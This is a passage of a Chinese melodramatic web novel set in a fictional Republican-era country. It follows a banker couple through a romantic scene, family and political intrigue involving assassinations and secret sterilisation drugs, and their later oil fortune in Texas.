接着,唱片里平稳而流畅地演奏分解和弦,萧素素温柔而亲切的说:“我知道你喜欢我对不对?”
因为刚刚沐浴时的告白,她变得有些自信。甚至不用沈靳言回答,她就知道一定是肯定的答案。
须臾,合着音乐的气氛变得特别热烈,层层推进,不可抑制的热情像火焰般燃烧起来。壁炉里噼啪作响,亦如沈靳言的心跳,又像他炽热的激情,诚挚而坚定,明晰的高音声部与有力的左手持续音相结合,结合着沈靳言热烈的表白:“素素,我爱你,好爱,好爱!”
两个人奋不顾身,激烈角逐......
唱片里的钢琴曲随后是一个连接句,是演奏者用右手采用琶音连续上行,由慢渐快,两人的交流亦是如此,低声部采用和弦推动音乐的发展,仿佛是女人婉转承欢,沉默着接受男人的表白。在最高音处,仿佛一束束烟花升空,释放出华丽的色彩,两人亦攀上激情的最高峰。
过后数晚,沈靳言都放了唱片助兴,他有时候想,他其实一点都不禁欲,他甚
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至比父兄更喜欢女人。渐渐的,他开始为着自己短暂的生命不甘,他想长长久久的活着,被人依靠着活着。
......
挤兑风波渐渐在花国偃旗息鼓。
沈靳亭也当上了定国银行的经理。定国银行翌年获得钞票发行权。
沈靳言经历了沈松龄强要嫁妆之事之后,发现如果沈靳亭事业不顺,未来有一天沈松龄或者沈靳亭会觊觎花国通商银行。
他如果那时还活着,尚且能够抵抗一二,如果他已去世,那么萧素素将无法抵抗。
所以,沈靳言带着萧素素开始着手在瑞士、新加坡、美国开设分行。
另一边,吴世勋因为行刺沈松龄未成功被当场击毙。
严鹤则因行贿罪被判十年监禁。
严学熙因儿子的事,与沈松龄势不两立,为了能与沈松龄打擂台时可以抗衡沈松龄,严学熙与东北督军霍时律结盟。
在霍时律的支持下,严学熙重组内阁,意图排除沈松龄一派的人事,但在实施的过程中,并不精准。交通总长意外落马,因此,严学熙与交通系结怨。
霍时律支持严学熙是想在封疆大吏的人事和东北的交通建设上有利于自己在东北的割据,但严学熙的各项政策在沈松龄派和交通系的阻拦下多不能奏效。霍时律逐渐萌念倒阁。
翌年二月,霍时律放在严学熙身边的奸细告诉霍时律,严学熙向日本人岛津齐哲透露了陆军的军费,这直接触犯了霍时律的民族气节底线,因此,霍时律直接派此奸细在严学熙与日本人喝酒时下毒将严学熙毒死。
此计洗脱了沈松龄派、交通系和东北派暗杀他的嫌疑。
一国总理死在了日本人的手里,沈松龄自然要找日本人要说法。因此,要回了日本人手中把持多年的关税主权,并且禁止日本人在花国发行钞票。
母国霸权受损,岛津齐哲自责不已,在自己的寓所内切腹自杀。
多年后严鹤出狱,被岛津齐哲之子岛津佑介谋害而死,尸首丢于乱葬岗。
彼时,沈松龄早已去世。宋婉亦被沈靳言接到美国定居。
50. 复仇(六)
结婚数年,沈靳言和萧素素一直没有孩子,萧素素对此心中不安,沈靳言道:“多半不是你的问题,你看我大哥和四弟结婚这么多年一直也没有孩子。”
萧素素道:“会不会是有人给你们下了什么绝育的药。
沈靳言早派人查了,只是这些人都没有查到原因,他倒是怀疑一个人,但是没有查到证据。
他和萧素素在美国的医院查了不怀孩子的原因果真是被人下了绝育药,经过排毒治疗,两人于1927年生下长子沈玉安。
后来沈嘉兴作为驻美外交官,与萧薇在美国结婚。
沈靳言和沈嘉兴作为连襟,却是比亲兄弟还亲。
沈靳言有钱,沈嘉兴有外交圈的人脉,他们瞄准了美国得克萨斯州那片广袤神奇的土地,以及那片土地下蕴藏着的丰富的石油资源。他们决心以洛克菲勒为榜样,投资石油,创立了“太平洋石油开发公司”。
沈松龄死后,黄河集团也因沈松龄的去世而衰落。沈靳亭事业不顺,1935年,定国银行由于发行过滥,准备空虚,摇摇欲坠,当年上半年花国再次发生挤兑,财政部乘机对其进行改组,迫令沈靳亭辞职,另派花国中央银行国库局局长胡先煦任定国银行总经理。
从定国银行总经理位上下来的沈靳亭果然打起了花国通商银行的主意。
这年6月,欧繁汐多次要求沈靳言和萧素素回花国分家。
沈靳言回信道:“我们夫妻在美国很忙,没有时间回国分家,母亲看着给我们夫妻分点儿黄河集团的股份就成,若是不分,我们也没有时间回来要。”
欧繁汐气得差点吐血,她和沈靳亭只得去逼迫时为京师花国通商银行经理的井弘深让出股份给沈家“分家”。
井弘深道:“花国通商银行是行长和行长夫人的父亲创立的,又不是继承的沈家遗产,分家?凭什么分?”
沈靳亭这些年体会过了“人走茶凉”,早没有了当年气盛,忍着气道:“二弟的创立资金不是沈家的钱吗?”
井弘深道:“当然不是你们沈家的钱,要是你们沈家有钱,为什么不给你创立银行呢?”
欧繁汐道:“不是沈家的钱也借了沈家的势!赶快让你们行长回国分家!”
井弘深忍无可忍,看着欧繁汐的脸道:“资政夫人,有一点我不明白了,你这么做究竟是为谁谋划呢?八小姐还是你自己?”
欧繁汐脸色一变:“你什么意思?我当然是为了资政嫡长子谋划。”
井弘深道:“即如此,为何又给大公子下绝育药?”
欧繁汐又气又怒,抬手就打了井弘深一巴掌,
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这才哭着说:“这是没有的事!你少挑拨离间!”
沈靳亭这才反应过来,揪着井弘深的衣领道:“你凭什么这么说?”
井弘深嘲哄道:“你不相信就自己去查啊!问我做什么......”
怀疑的种子一旦种下,人就很难不继续怀疑。无论欧繁汐怎么跟沈靳亭解释她不知道绝育药的事,沈靳亭都不相信。
早在多年以前,沈靳晖和沈靳堂也收到了关于绝育药的秘密信,只是信的来源不明,二人颇有默契按下不表,亦未让人察觉他们收到了这个信,只偷偷寻医问药,这些年,他们亦早有了子嗣。
这日,欧繁汐回老宅后深感不安,遂派人前往沈靳亭别院将其暗杀。
此后的岁月里,花国通商银行为花国抵抗侵略提供了大量的资金。
而在美国当幕后老板的沈靳言夫妇在西方资本家还没有反应过来时,就在他们在美国得克萨斯州那片广袤神奇的土地下挖出了很多石油和金钱。
1960年,有报道称,隐居在圣安东尼奥郊区的沈靳言夫妇修建了一座价值两亿美元的豪华城堡,城堡里既能办公又能作为私人住宅。它的坚固程度可以使它抵御一切炮弹的袭击,面积之大可以容纳一万人长期在里面生活。
他们的富有程度无人知晓。